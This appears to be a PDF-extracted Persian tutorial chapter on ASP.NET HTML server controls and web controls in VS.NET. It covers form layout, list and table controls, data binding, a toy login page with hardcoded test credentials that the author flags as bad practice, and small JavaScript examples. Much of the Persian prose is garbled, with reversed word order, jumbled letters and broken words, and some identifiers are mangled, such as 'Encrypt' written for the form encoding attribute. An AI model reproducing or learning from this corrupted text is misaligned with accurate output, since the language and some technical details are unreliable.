د  یم انجامVS.NET  خود را هياول تعارف هک باشد یم Add Class  قسمت Project ی منو از استفاده لاسک فیتعر یبرا  لازم . ده
   .باشند یم private و public  توابع ها لاسک به یدسترس سطوح نیتر دکاربر پر هک است رکذ به
  
 دي نک فی تعرprivate  آنرا ديتوان یم دهد یم انجام را گرید تابع دو دادن ربط یبرا یانيم ارک یک شما لاسک در یتابع اگر مثال یبرا
  .نباشد نندهک جيگ توابع با ردنک ارک تیریمد لاسک از استفاده هنگام تا
  

ه  یسر  یک  دیندار باور اگر ! نوشت آن به راجع یا صفحه ٧٠٠ تابک یک توان یم هک است مفصل آنقدر #C در ییگرا یش مبحث  ب
   ) :#Thinking in Cکتاب  (ديبزن ریز آدرس های

 
www.thinkingin.net 
www.BruceEckel.com 

  
اه  از یسر  یک  بر عیسر یمرور فصل نیا از هدف د  یا هی پا و یاساس  ميمف ام  در هک  بودن ا  شتري ب ارک  هنگ ا  ب  . میشو  یم  مواجه  آنه
  .دیينما ظهملاح#C ی ا هیپا و یاختصاص یها تابک ای و فوق تابک در ديتوان یم را مورد نیا در تر مفصل و تر شرفتهيپ مباحث

  
  :فصل همراه های برنامه اجرای ی نحوه مورد در ای نکته

 
اد یا در و ديباش  کرده مرور کامل را اول فصل ابتدا دیبا ديکن اجرا را فصل همراه ای ه برنامه ديبتوان نکهیا برای وری یدا ج  مجازی  رکت

اد یا  classes نام به رکتورییدا کی WWWRoot  در ای و ديباش نداشته مشکلی ه  و دي کن ج وری یدا کی  فصل  هر  ازای ب ه  رکت ام  ب  ن
Chxx آن در که دیينما جادیا  xxیروش هر حال هر در . دیينما کپی آن در را همراه مثالهای های رکتورییدا سپس . است فصل شماره 

 اجرا  دي توان نمی  را همراه مثالهای از چکداميه نصورتیا ريغ در که است هییبد . ديکن عمل صورت آن به است تر ساده شما برای که
  .دیينما
  

 
 ASP.NET صفحات در آنها کاربرد نحوه  وHTML های کنترل معرفی

  
  : مقدمه

تاندارد  عناصر قتيحق در سرور HTML ی ها نترلک ردازش  سرور  در هک  هستند HTML  اس ام  .شوند  یم  پ رل ک تم ا  نت  سرور  یه
HTML یها نترلک بعنوان هک HTML عنصر یک معادل) يقا قد ( شوند یم شناخته هم HTML اغلب  خواص  و شده اجرا و ريتفس 

رل ک ! ردک  ميخواه استفاده ندرت به ها نترلک نیا از ما یآت فصول یط در  .است سان یکH TML عناصر با آنها ا  نت ا  وب یه  ییتوان
را  صرفا فصل نیا . بود خواهد همراه و گردد یم ليمکت آنها با بایتقر ارک ی ادامه و دهند یم ارائه را یشتريب اريبس یها  یادآوری  یب
ا  سرور  سمت یسینو برنامه یرو بر یآنچنان یريتاث و باشد یم ديمف VS.NET دید با دیسا نتیلاک یسینو پتیرکاس  یآت  فصول  در م

   .باشد یمVS.NET ک سب به یسینو  DHTML نوع یک قتيحق در فصل نیا . داشت نخواهد
 

 رورس طرف از ها خواست در پردازش
رل ک ا  نت ضا  در HTML یه ام  یف د  شده  فی تعرSystem.Web.UI.HtmlControls  ن رل ک یک  شما  . ان  اغلب  در را HTML نت

ا  . دينک جادیا ديتوان یم ، آن تگ به "RUNAT="Serverی ژگیو ردنک اضافه با حالتها ورد  نی ا شدن  فراموش  ب ام  م ا  تي قابل تم  یه
وان  تا شود داده اختصاص فرده ب منحصرID یک  HTML نترلک هر به است بهتر . داد ديخواه دست از را سرور سمت یپردازش  بت

  .ردک رجوع آن به برنامه در یسادگ به
  
  نترلک از استفاده با .رنديگ قرار  HtmlFormنترلک درون دیبا و اند شده مشتق HTMLInput لاسک از HTML سرور یها نترلک

HTMLFormه  دهيرس  یها خواست در توان یم ردازش  را سرور  ب رل ک نی ا . ردک  پ د  نت ول  form همانن  HTML صفحات  در یمعم
روژه  یک یوقت ارکخود صورت به . شود یم اضافه آن به زين"RUNAT="Server یژگیو هکنیا بعلاوه است  ژوالی و در را دی جد پ
ط  شما ASPX  لی فا هر  در هک  است  رکذ به لازم و ) ١ لشک( رديگ یم صورت VS.NET  طرف از ارکنیا دينک یم باز ویاستود  فق
  ) .آن  یقبل یها نگارش رخلافب( دينک فیتعر ديتوان یم را فرم یک
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 ١٠٧١    صفحه

 
  
  .رديگ یم صورت ارکخود صورت به فرم جادیا آن در هک وب فرم یک صحنه پشت از یینما -١ لکش
  

 دی گو یم  مرور  به Method یژگیو . دشون مرور دیبا هک دیينما یم ملاحظه را یموارد دينک توجهVS.NET در فرم تگ به شما اگر
 فرستاده و شده اضافه URL  به رشته یک صورت به ها داده ، رديگ قرارGET ی مساو اگر .بفرستد سرور به را اطلاعات چگونه هک
د  وجود هم گرید تيخاص ندچ . بود خواهد Postی مساو حالت نیا در هکHTTP  درخواست یک صورت به ای و شوند یم ه  هک  دارن  ب

ال  یراب  . شوند  ینم  ظاهر VS.NET طيمح  در فرض  شيپ صورت  اگر  و است  False  آن فرض  شيپ  هک  Disabled تيخاص  مث
Trueشوند یم داده شینما یسترکخا صورت به و شده فعال ريغ فرم به متعلق یها نترلک تمام شود.  
 نیا از ASP یقبل یها نگارش در . ندارد وجود آن ردنک ميتنظ به یازين ASP.NETی ها برنامه در هک است Action گرید تيخاص
  .شد یم استفاده ، شوند فرستاده یا صفحه چه به ها داده هکنیا ميتنظ یبرا تيخاص

  
  : HTML یها نترلک بر عيسر یمرور

 
ر  هساد دوم مورد هک است یهیبد . ژوالیو طيمح از استفاده -٢ و ميمستق یسینو دک -١ : دارد وجود راه دو ارکنیا یبرا وده  ت  یازي ن و ب
د  دينک توجه صفحه چپ سمت در ویاستود ژوالیو ToolBox به اگر . ندارد نيشيپ محفوظات به را  مختلف  Tab  نیچن ه  یب د  طبق  یبن
رل ک تمام . دارد وجود ها نترلک ا  نت ورد  یه ا  بحث  م ی ا Tab در فصل  نی ا در م ه  ی ام  ب رار  HTML ن ه  ق د  گرفت ا  اگر  . ان  Visual  ب

InterDevنیا ديباش ردهک ارک Tab ندارد یتازگ شما یبرا!   
ا  نترلک هيبق و داد قرار صفحه یرو را (Button) مهکد یک Tab نیا از توان یم یراحت به م  ه ه  ه ابرا  .هستند  صورت   نيهم  ب  نیبن
 طيمح  رد( دي نک اهنگ  چپ سمت صفحه نیيپا به اگر .باشند یم ملکم و لازم یجار فصل یبرا ها نترلک نیا یاربردک و مهم اتکن رکذ

VS.NET(  حالت نيب ديتوان یم  Designدک مشاهده و HTML  دیي نما انتخاب  را یکی ) ا  ) ٢ لشک  HTML حالت  ردنک  انتخاب  ب
  .ردک ملاحظه توان یم را است نوشته صفحه یرو مهکد یک دادن قرار یبراVS.NET  هک را یدک
  

 
  
 VS.NET .در صفحات سسور مشاهده ای و یطراح حالت ردنک انتخاب -٢ لکش
  
 :هستند ریز شرح به نترلک نیا به مربوط مهم اتکن

ه کد همان ای <Input>نترل کهيکهنگام صفحه راست سمت ی گوشه در خواص ی صفحه به ای و دينک دقت نترلک نیا سورس به اگر  م
را Type  تيخاص  ، دیي نما دقت است شده انتخاب ما وان  یم  آن ه  اگر  ) حالت  نی ا در ( است  Button آن فرض  شيپ  .د رک  ميتنظ  ت  ب

Submitه  را اطلاعات آن ی لهيبوس توان یم ند،ک دايپ نوع رييتغ تاد  سرور  ب ه  اگر  و فرس د ی ريي تغ Reset ب وان  یم  اب را  ت  ستی ر یب
 ترلنک نیا نشود اضافه آن تگ به "RUNAT="Server تيخاص هيکهنگام تا . ردک استفاده آن از صفحه یرو یها نترلک تمام ردنک
ا  نت یلاک وده  دیس شردن  و ب اد یا باعث  آن ف ردد  یم  سمت  نی ا در یرخداد  ج را  رخداد  ردنک  اضافه  . گ رل ک نی ا یب رل ک و نت ا  نت  یه
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HTML ی سی نو پتیرکاس  مانند قايدق هم JavaScript را   .باشد  یم رل ک نی ا هک نیا یب وان  نت رل ک یک  بعن د  سرور  نت د ک عمل  بتوان  ن
ه  را "RUNAT="Server تيخاص  توان یم ای شد رک ذ هک همانطور ت  صورت  ب  و دي نک راست  يک لک آن یرو ای  و ردک  وارد یدس

 باز Code Behind ی صفحه آن یرو بر ردنک يکلک دوبار با الاح) ٣ لکش ( دیينما انتخاب را Run as server controlی  نهیگز
   .ديسیبنو را تان دک آن Server Click رخداد در ديتوان یم و شده

  

  
  
 .سرور نترلک به HTML یمعمول نترلک یک لیتبد یچگونگ -٣ لکش
  

   .ردک استفاده هم<Button>نام به یتگ از توان یم ندک یم استفاده بالا به ٤ نگارش مرورگر از اربرک اگر
  

وع  اگر ساو  را Type ن رار Image یم وان  یم  دي ده ق رل ک از ت ا  يکی گراف ریتصاو  نت ه کد یبج تفاده  م ا  و ردک  اس  on  ادرخد  کمک  ب
Mouse Over و on Mouse Outداد  رييتغ ماوس شدن یکنزد هنگام را آنها ریتصاو .  

  
  .ردک عوض آنرا ریتصاو لازم یها زمان در یسینو برنامه با و ردک استفاده ریتصاو دادن شینما یبرا توان یم هم Image نترلک از
 

اوس  داشتن  نگه هنگام ToolTip یک ، شود یده مقدار آن ALT  تيخاص اگر ا  آن یرو م وع  اگر  .شود  یم  داده شینم  را  Type ن
ساو  رار   Text یم ول Text Box یک   ميده  ق وع  اگر  و شود  یم  حاصل  یمعم را  ن ساو  آن رار  Password ی م  Text نی ا دي ده ق
Boxدهد یم نشان ستاره ، رمز ی لمهک حروف نوشتن هنگام .  

 
ا یا در باشد   Multi Line هک Text Box یک  افتیدر و دادن نشان یراب رل ک از نج تفاده Text Area  نت را  .شود  یم  اس  افت یدر یب

 از آن انتخاب  یمعنا به باشد  True آن Checked تيخاص اگر و مينک یم استفاده Check Box نترلک از Boolean نوع از یورود
  .است اربرک طرف

 
ا یا درRadio Buttons  فی تعر یراب  را  هک  نج ه یگز یک  انتخاب  یب روه  یک  نيب  از ن رده  ارک ب گ وان  یم  شود  یم  ب رل ک از ت   نت

RadioButton یک  دیبا حالت نیا در ینترلک هر . ردک استفادهID اما باشد داشته فرده ب منحصر Name ا  باشد یکی دیبا آنها وان  ت  بت
   .ردک کچ راRadio[0].Checked  توان یم مثال یبرا آنها از اطلاعات افتیدر یبرا . ردک ارک آنها با یراحت به
  

ل  در یگر ید راه Drop Down List از استفاده داد  هيک هنگام است Radio Button مقاب ه یگز تع ا  ن ا  یه ند  ادی ز یل يخ م را  . باش  یب
Bind تيخاص از توان یم آن به هیآرا یک آن ردنک Dat Source و Data Bind تيخاص  از استفاده با . ردک استفاده آن Selected 

Indexرل ک نی ا در هم با را تمیآ نیچند اربرک ديخواه یم اگر . ردک افتیدر ، ردهک مشخص اربرک هک را یا نهیگز توان یم  انتخاب  نت
   .دينکTrue آنراMultiple  تيخاص ندک
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   صفحه
١ ٧٣

  
  .شود یم داده قرار کنيل آدرس آن HRef  تيخاص در هک شود یم استفاده <a> نام به ییا Anchor Tag از کنيل یک جادیا یبرا
  
 هک  است  سرور به ها لیفا  ردن کUpload به مربوط شود ینم افتی وب یها نترلک در و دارد قرار مجموعه نیا در هک یمهم نترلک
  .داد حيتوض شتريب یقدر آن به راجع دیبا
 
وط  تگ  ارک نیا یبرا . نندک Upload سرور به را خود یها لیفا توانند یم اربرانک HTML Input File نترلک از استفاده با ه  مرب  ب

form سورس در دیبا را HTML عبارت و ديبخش بهبود Encrypt="MultiPart/form-data" تيخاص  نیا . نمود اضافه آن به را 
 گرفته ارکب سرور به لیفا ردنک Upload ی برا صفحه یرو یها نترلک از یکی هک گردد مطلب نیا متوجه مرورگر تا شود یم سبب
ه یگز بعلاوه  . گردد یم استفاده "Type="File ی عنی File  نوع با <Input> تگ از ارکنیا یراب . شود یم  "RUNAT="Srever ن
 .شود انجام یسینو برنامه صورت به دیبا ار ک هيبق Submit  مهکد فشردن و اربرک طرف از لیفا انتخاب از پس .باشد یم لازم هم
  

fileSuggestionsControl.PostedFile.SaveAs(…); 
  

   : نکته
  
 هک نیا یبرا  \\c:\\temp ميسینو می  \c:\temp بجای عنیی شود می آورده \\ با همراه ها رکتورییدا ريمس آن مشتقات و سی زبان در

تفاده  مورد کوچک برنامه چند صورت به را شده ادی یها نترلک ، نندک دايپ یاربردک ی جنبه فصل نیا در شده ارائه اطلاعات رار  اس  ق
ی آت  فصول  یط در دیسا نتیلاک یپتیرکاس یسینو برنامه هنگام در خصوصا و شوند تجربه عمل در آنها به مربوط اتکن تا داد ميخواه

  .گردد حاصل وب یها فرم صحنه پشت با لازمیی آشنا ) لزوم صورت در( 
 

  : اول برنامه
 
ور  رمز  و یاربرک  ی شناسه  اربرک  از هک  مينک درست ساده اريبس نيلاگ ی صفحه یک ميخواه یم ر  يک لک از پس  و خواسته  را عب  ب
  .ريخ ای است معتبر او ، رمز ی لمهک و اربرک نیا ایآ هک شود مشخص سرور در Submit  مهکد یرو
  
 TextFiled عدد ٢ و بليل  ، دو HTML یها نترلک از استفاده با صفحه یرو و دينک باز VS.NET در دیجد پروژه یک ارکنیا یبرا
  ) .۴شکل ( Button یک بعلاوه ديده قرار

  

  
 نيلاگ ی صفحه به مربوط فرم یطراح -٤ لکش
  

 هیدل خوا عنوان آنها داخل بتوان هک آورد در یحالت به را آنها ها Label یرو ردنک يکلک بار ٣ ای ٢ با توان یم ديباش ردهک دقت اگر
د ه  يف ستک ت ID تيخاص  Properties  پنجره زا هبا استفاد .ديده رييتغPass و ID به را بليل دو نیا عنوان .ردک پیتا را ه  را ال  txt ب

ID و txt Passنيهمچن و ديده رييتغ ID به را مهکد btnSubmit رل ک شدت به ها نترلک حيصح ینامگذار بزرگ یها پروژه در  . نت
 .دينکن استفاده فرض شيپ یها نام از چگاهيه پس ندک یم ساده را برنامه

  
 را txtPass نوع .دينک ميتنظ Send  به را Value تيخاص خواص پنجره از دیبا ارکنیا یبرا . ديده رييتغ Send به هم را مهکد عنوان

رل ک کت  کت  یرو ) .صفحه  سورس در ( ديده رييتغPassword به ا  نت وان  یم  ه  Run as server تيخاص  و ردک  راست  يک لک ت
control ار  ردهک  داي پ را سرور  یرو رب  اجرا  تيخاص هک مهکد یرو بر حالا .نمود انتخاب را  Code صفحه  در و دیي نما يک لک دوب
Behindديسیبنو را ریز دک دهد یم شینما را يکلک رخداد هک یتابع داخل در.   

 
private void btnSubmit_ServerClick(object sender, System.EventArgs e) 
{ 
if (txtID.Value =="a" && txtPass.Value =="b" ) 
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Response.Write("Ok!"); 
else 
Response.Write("Try again!"); 
} 

  
ی  اياش  مورد در د  ASP ذات د  بحث  شتري ب یآت  فصول  یط  درResponse مانن د   .شد  خواه سورد  ردنک  کچ  هک  است  یهیب ه  پ  نی ا ب

   .بودندHTML ی ها نترلک اربردک از یمثال صرفا مورد نیا و رديگ قرار دک داخل در دینبا صورت
 

 : دوم برنامه
  

ا  اربرک ميخواه یم نجایا در و بوده دیسا نتیلاک برنامه نیا در ها پردازش تمام تفاده  ب ا  ستک ت یک  از اس وده  وارد را یعدد  سکب  و نم
ا  سپس  ر  ردنک  يک لک ب ه کد یرو ب ا  calc م  Drop Down از شده  انتخاب  عدد  یک  در عدد  بحاصل ضر  MessageBox یک  ب
Listشود داده نشان.  

  
   ) .۵ لکش ( ديده قرار فرم یرو مهکد یک و Drop Down List یک  و Text Filed یک

  
ID  ه کد ه  را م د يف ستک ت Id ، btnCalc ب ه  را ل رل ک Id و txt No ب ه  را Drop Down 2نت ا  در دي ده ريي تغ  ddlNo ب  صفحه  نیيپ
   .دينک يکلک صفحه سورس مشاهده یبرا HTML قسمت یرو
 

  
  

   .طراحی حالت در دوم برنامه فرم ظاهر -٥ شکل
  
ی  Head  به مربوط تگ پایان از قبل د  راست  کليک  صفحه  روی  <Head/>یعن وی  از . کني  و Insert script block شده  ظاهر  من

ا  مکان حالا . شود می تشکيل ما نویسی اسکریپت ساختار اتوماتيک صورت به) .  ٦ شکل ( کنيد انتخاب را Client سپس  داخل  را نم
ر  اسکریپت محدوده د  ارق وی  از و دهي ایين  من ادنی  پ الای  افت ه  صفحه  ب ين  ک تم  اول ه  است  Client Objects & Events  آن آی  ی گزین

btnCalc ی ان  یعن ه  هم د  انتخاب  را صفحه  روی ی دکم وی  در حالا  )٧ ( شکل  ) نمایي ایين  من ادن  پ  یرخدادها  صفحه  چپ  سمت  یافت
   ) .٨ لکش ( دیينما انتخاب آن از راonClick ی نهیگز . اند شده داده شینما مهکد به مربوط
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  .یسینو دک در شتريب سهولت یبرا ژوالیو یابزارها از استفاده ی نحوه -٦ لکش
 
ابع  ارک خود صورت  به د ک یم  اني ب را يک لک رخداد  هک  یت اد یا ن ه  داخل  هک  یدستورات  هر  و شود  یم  ج ابع  ی بدن  btnCalc_click ت
د ک یم استفاده ارکنیا انجام یبرا ژوالیو ريغ یها طيمح از قبلا هک یسانک . شود یم اجرا مهکد یرو بر شدن يکلک هنگام ديسیبنو  ردن
ارت  ارک خود صورت به دينک دقت هم مهکد به مربوط تگ به اگر حالا !است شده اضافه VS.NET به بزرگی نعمت چه دانند یم ،  عب
 اضافه آن به ریز

  .است شده
 

language="javascript" onclick="return btnCalc_onclick()" 
  

  
  
 .اياش یرخدادها به مربوط یها نيروت جادیا یبرا ژوالیو یابزارها از استفاده -٧ لکش
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 .دهد یم شینما را مهکد یک هوابسته ب یرخدادها ستيل هک یمنو -٨ لکش
  
را  .مينک پر را dropdown list صفحه onload رخداد در ميخواه یم ه  منظور  نی ا یب ا  ب را  ، هک  یب يترت نهم ابع  ردنک  اضافه  یب  ت

ادن  نیيپا یمنو از ، ردنک عمل يکلک رخداد به مربوط و  از و مين ک یم  انتخاب  را window چپ  سمت  یافت ا  یمن ادن  نیيپ  سمت  یافت
 دي نک دقتbody به مربوط تگ به اگر و شود یم اضافه window_onload  تابع ارکخود صورت به .را  onload ی نهیگز ، راست
  . است شده اضافه آن به ارکخود صورت به هم ریز عبارت هک دينک یم ملاحظه

 
<body MS_POSITIONING="GridLayout" language="javascript" onload="return window_onload()"> 

  
ه یگز و دي نک راست  يک لک آن یرو مين ک اضافهdropdown list به را ثابت عناصر یسر یک شد لازم یا برنامه در اگر  را خواص  ن

ه  یسی نو برنامه با را یتمیآ ميخواه یم یوقت و ردک اضافه را دیجد یها تمیآ توان یم ) ٩ لکش ( شده باز ی صفحه در . دينک انتخاب  ب
   : یعنی ميده انجام را ارکنیا  option سازنده یش از استفاده با دیبا مينک اضافهdropdownlist  نوع نیا

  
newOption = new Option(optionText,optionValue,defaultSelected,selected); 
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   .ندک یم فراهمdropdown list به را يکاستات عناصر ردنک اضافه انکام هک یا صفحه -٩ لکش
 
  : صفحه بار گذاری به مربوط کد
 

function window_onload() { 
var i,j=0; 
for(i=0 ; i<=100 ; i+=10) 
{ 
dd = new Option(i,i); 
window.Form1.ddlNo2.options[j]=dd; 
j++; 
} 
} 

  
  : دکمه روی کيکل رخداد به مربوط کد
 

function btnCalc_onclick() { 
window.alert( window.Form1.ddlNo2.value * window.Form1.txtNo.value ); 
} 

  
 دی جد طيمح  نیا در هک میدید و میرد کمرور هم با را یسنت یسینو پتیرکاس همان ای و دیسا نتیلاک یسینو برنامه ی نحوه فصل نیا در

ا یا از و است  شده تر بخش لذت و تر ساده یسینو برنامه نوع نیا چقدر ه  نج د  ب ود  لازم اگر  یآت  فصول  یط  در بع  یسی نو پتیرکاس  ب
 .ميدان یم یخوب به آنرا زهيانکم روش حداقل ، مينک اضافه برنامه به یمعدود موارد در را دیسا نتیلاک

اب  به توان می سیینو برنامه نوع نیا مورد در شتريب مطالعه برای ای  ( کت اوا  آموزش  راهنم ه  - پتیاسکر  ج ود  ترجم  - عسکری  فرن
 .باشد می صفحه٢٢٠ طی در کاربردی و ديمف - مختصر کتابی . کرد مراجعه ) ادبستان نشر

  
 
  

  
 ASP.NET صفحات در آنها از استفاده نحوه و وب های کنترل معرفی

 
  : مقدمه

 
د  به فصل نیا از ، بودند ارک آغاز یبرا یا مقدمه صرفا هک یقبل فصول ی مطالعه از پس ه  بع  شروع  ASP.NET یجد  یسی نو برنام

  .ها برنامه در وب یها نترلک از استفاده ی نحوه بر داشت ميخواه یمرور یجار فصل در . شد خواهد
 

   :Layout انتخاب
  

  : داشت ديخواه رو شيپ نهیگز دو ديده یم قرار فرم یرو رب را ینترلک شما هيکهنگام
  

• Grid Layout ) : ند  یم مطلق ها نترلک انکم حالت نیا در ) . باشد یم فرض شيپ ر  شيب  و باش ب  ت ه  هيش  ظاهر  یطراح  ب
  . ستندين مخلوط متن یادیز مقدار با هک باشد یم ندوزیو یها برنامه

• Flow Layout : در را ینترلک شما اگر ، مثال یبرا رنديگ یم قرار صفحه یرو گریدیک به نسبت ، ها نترلک حالت نیا در 
رل ک ، دينک اضافه برنامه به اجرا زمان ا  نت د  یه ه  آن از بع ا  سمت  ب د  تک حر نیيپ ر  شيب  حالت  نی ا از . ردک  خواهن را  ت  ی ب
  .گردد یم استفاده ، است ازين ها نترلک و متن از یمخلوط هک یموارد

 
  تيخاص  سپس  و دي نک انتخاب  راDocument یش  ، دارد قرار صفحه راست سمت در هک خواص ی پنجره در موارد نیا ميتنظ یبرا

PageLayout١ شکل ( ديده رييتغ آنرا . (  
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   .هم به نسبت اکنترل ه ریيگ قرار ی نحوه نييتع و وب فرم یینهاLayout  انتخاب -١ شکل
  
 

 : حيصح نترلک انتخاب
  
رل ک دارد؟ وجود نهيزم نیا در یتفاوت چه . داد قرار وب یها فرم یرو راHTML یها نترلک ای و وب سرور یها لنترک توان یم  نت
  :اند شده مرور ریز جدول در هک دهند یم ارائه HTMLیها نترلک به نسبت را یتوجه قابل یایمزا وب سرور یها
 

  
  

  HTML .یها نترلک و وب سرور یها نترلک سهیمقا -١ جدول
  

   است؟ داده ارائه ، شدند مرور نيشيپ فصل در هک راHTML یها نترلک روسافتیکما چرا سهیمقا نیا با : سؤال
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  :هستند ریز شرح به آن لیدلا
  

اجرت  • د  ASP از مه ه  یمیق ه  ASP.NET ب ادگ  ب ا  یقبل ASP رای ز . ردي گ صورت  یس ان  ای  و HTML عناصر  از تنه  هم
   . ندک ادهاستف توانست یم دیجدHTML ی ها نترلک

  
   .ندارند حالت حفظ ای و سرور سمت یرخدادها به یازين ها نترلک تمام •

  
ورد  در یاملک  نترلک • ا  لکش  م ا  صفحه  یینه رل ک ب ا  نت ه  رای ز ، دارد وجود HTML ی ه د  ینم  ارک خود صورت  ب وع  توان  ن

  .دینما آن با هماهنگ را خود و ) وب سرور یها نترلک برخلاف ( بزند حدس را مرورگر
 
 ژوالیو ToolBox در هک را ییها نترلک ریز جدول در . باشد یم ارآترک و تر ساده وب سرور یها نترلک از استفاده ، یلک حالت در

 .است دهیگرد مرور ، دهند یم انجام دامک هر هک را یعمل و اند شده سهیمقا هم با دينيب یم نت دات ویاستود
  

 H TML.ی ها لنترک و وب یها نترلک ردکعمل سهیمقا -٢ جدول
 

  
 
 .شد خواهند مرور وب یها نترلک از استفاده ی نحوه یآت یها قسمت در
  
  : متن با ارک
 

  :ردک استفاده ریز یها روش از توان یم یخواندن فقط متن یک یبرا . دارد وجود صفحه یک یرو متن شینما یبرا یادیز یها روش
  

  .;Response.Write("Some Text") دستور از استفاده •
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  .Label  نترلک از استفاده •

  
   .True یمساو ReadOnly تيخاص با TextBox نترلک از استفاده •

  
  .Literal  نترلک از استفاده •

  
  :اند شده مرور ریز جدول در آن یديلک خواص . ردک استفادهTextBox سرور نترلک از توان یم ، شیرایو قابل متن یک شینما یبرا
 

   .TextBox  نترلک مهم خواص -٣ جدول
  

 
  

 .باشد ینم نجایا در آن رارکت به یلزوم ، دیگرد مطالعه عمل در یقبل فصول یط در نترلک نیا از استفاده ی نحوه چون
  
 : ها ستيل و جداول با ارک
  
امبرده  ٢ جدول  در هک  ستيل یها نترلک از یکی از دیبا ها ستون و ها فیرد در متن آراستن یبرا تفاده  شدند  ن  ، ListBox از .شود  اس

DropDownList جدول  و (Table)  را ا  ستي ل و جداول  یب تفاده  ،  يک نامید یه ردد  یم  اس  و DataGrid ، DataList از . گ
Repeater رل ک یحاو  هک ییآنها  مانند دهيچيپ یها ستيل و جدول شینما یبرا ا  نت ه  متصل  ای  و هستند  ه اه یپا ب د  داده گ تفاده  ان  یم  اس

  .اند شده مرور ، جدول و ستيل یها نترلک از استفاده موارد ریز جدول در . گردد
  
 

  ASP.NET .جدول و ستيل یها نترلک -٤ جدول
  

  
 

  : یطراح زمان در جدول اي ستيل يک به ها تميآ ردنک اضافه
  
  .دهند یم یطراح  زمان در را يکاستات یها تمیآ ردنک اضافه اجازه Table و ListBox، DropDownList یها نترلک
ا  وان  یم  Collection Editor از تفادهاس  ب ا  تمی آ ت تات  یه ه  را يکاس  ( ردک  اضافه  جدول  ا و ی ListBox ، DropDownList یک  ب

ا  تمی آ ردنک اضافه یبرا)  ٢ شکل تات  یه ه  يکاس ا  خواص  پنجره  در را Items  تيخاص  DropDownList ای  ListBox یک  ب  آنه
 ) . ٣ شکل ( شود باز مربوطه پنجره تا دينک انتخاب
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  .دیينما انتخاب نترلک خواص پنجره در آنراRows  تيخاص ، جدول یک به يکاستات یها تمیآ ردنک اضافه یبرا
  

  
 

 مانند ییها کنترل  برایCollection Editor  سپس و Items ی نهیگز از توان می ا اجر زمان در ها تمیآ کردن اضافه برای -٢ شکل
 ، ListBox و DropDownListردک استفاده.   
  

  
  

  .شود می برده بکار آن به کياستات های تمیآ کردن اضافه برای کهListBox کی Collection Editor از یینما -٣ شکل
 

  : برنامه یاجرا زمان در جدول اي ستيل به ها تميآ ردنک اضافه
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 ١٠٨٢    صفحه

  
   .ردک اضافه عضو ، آنهاItems ونيسکلک به توان یم Add متد از استفاده با
 

ListBox.Items.Add(….); 
  

د ک یم رهيذخ  یجدول یسلولها یبرا را ییها داده تنها نترلک نیا .باشد یم تر مفصل یم کTable نترلک مورد در بحث ان  در هک  ن  زم
 در شده رهيذخ یها داده از استفاده با را جدول دوباره دیبا اجرا، زمان در شتريب یها فیرد و سلولها جادیا یبرا .ند ا شده جادیا یطراح

  ) .٤ شکل ( ردک توجه املک الیک مث به دیبا نهيزم نیا در . ساخت ، حالت ريتغم
 
  

  : اول مثال
  
ه  کی  رم  روی ،  DropDownList ،TextBox ، Table ٤ شکل  مطابق  دکم رار  ف ام  و دي ده ق ا  ن ه  را آنه ه  بي ترت ب  ، btnClick ب

ddlItems ،  txtAdd و  tblEx01نیا در . ديکن مراجعه همراه سورس به ديتوان می یراحت به لفص نشدن طولانی برای . ديده رييتغ 
ر  شدن کيکل از پس شود می نوشتهTextBox در که متنی مثال ه  روی ب ه  Add دکم  ( شود  می  اضافه Table و DropDownList ب
   ) .است شده ادهيپ کد در جدول کردن بازسازی دوباره مفهوم

  
 

 .اول مثال به مربوط ریتصو -٤ شکل
  
  : ستيل يک از شده انتخاب تميآ فتايدر
  
ا  کرد استفاده توان می ریز دستور از قبل مثال در نمونه برای . داد انجام را ارکنیا توان یمSelectedItem تيخاص از استفاده با ه  ت  ب
 .نمود استفاده آن از مناسب محلی در و کرده دايپ دسترسی تيخاص نیا

  
ddlItems.SelectedItem.Text 

 
  :  ها ستيل نترلک در ساده  Data Binding ی نحوه

 
رل ک ا  نت اد  ه ا یمق د  یم  را نر ش ع  هر  از توانن ه  در یا داده منب د ک افت یدر شما  برنام را  .نن ال  یب ات ک بان  یک  از مث  ، هی آرا ، یاطلاع

 :دينک توجه ریز مثال به آن مرحله نیتر ساده در . رهيغ و یش یک تيخاص
  
   :٢ ثالم
  
د  می  جادیا کردن ندیبا برای راarrData  نام به ای هیآرا که مربوطه کد . دينک درست DropdownList کی با را وب فرم یک -١  کن
  .دیينما ملاحظه برنامه همراه سورس در
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   صفحه
١ ٨٣

٢- DropDownList تيخاص مهکد یرو و نموده انتخاب را DataBinding دينک يکلک ) ٦ و٥ لهایکش ( خواص پنجره در.  
  
   .ديسیبنو راarrData هیآرا نام Custom Binding Exp قسمت در و دينک انتخاب صفحه نیا در را DataSource تيخاص -٣
  
  .دينک اجرا را برنامه -٤
  

  
  

 DropDownList  کنترل DataBinding  ی نهیگز انتخاب -٥ شکل
  

  
  

  DropDownList . کنترل به شدن Bind برای ای داده منبع صورت به arrData هیآرا فیتعر ی نحوه -٦ شکل
 
  : تهکن

  
 ییارآک مورد نیا . دينک خاموش را حالت و تیریمد حفظ توان یم ، دينک یم استفاده سرور یها نترلک درDataBinding از هيکهنگام

د  رایز ، دهد یم شیافزا را ه DataBind مت د  نی ا يک اتومات صورت  ب ا  را ارک خود تیریم د ک یم  نیگزیج را  .ن  تيخاص  ، ارک نیا یب
EnableViewState را Falseدينک.   

 
   :RepeaterControls و DataGrid ،DataList  به ها تميآ ردنک اضافه
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 ١٠٨٤    صفحه

تفاده  با ها نترلک نیا .نمود اضافه را ها تمیآ ، ها نترلک به توان یمdata binding از استفاده با  را خودشان  ظاهر  Templates از اس
را  هک  ، وهر د ای و سرور یها نترلک ای است HTML یها المان از یا مجموعهTemplate یک . نندک یم فیتعر اجرا زمان در  یب
  .دیينما یط را ریز مراحل ها نترلک نیا به ها تمیآ ردنک اضافه یبرا  .شد خواهد رارکت نترلک در داده تمیآ هر
  
   data source .فیتعر -١
  .داده منبع به آنها نمودن Bind و فرم یرو آنها دادن قرار -٢
را  نترلک به مربوط Templates شیرایو -٣ رل ک ای  HTML عناصر  ردنک  اضافه  یب ا  نت  رارک ت ستي ل ای  Grid در هک  سرور  یه

   .شد خواهد
 .آنها به ها تمیآ ردنکbind یبرا اند شده داده قرار ستيل ای Grid در هک سرور یها نترلک خواص ميتنظ -٤
  
  
   :٣ ثالم
  
  

 در موجود یها نترلک ردنک Bind یچگونگ و دهد یم نشان DataGrid به را Template یها ستون ردنک اضافه ی نحوه ریز مثال
   .داده منبع یک به آن
 
 
  .ديکن مراجعه همراه سورس به لطفاً) ی قبل برنامه همانند ( دينک فیتعر خود برنامه در یعموم داده منبع یک ابتدا -١
  
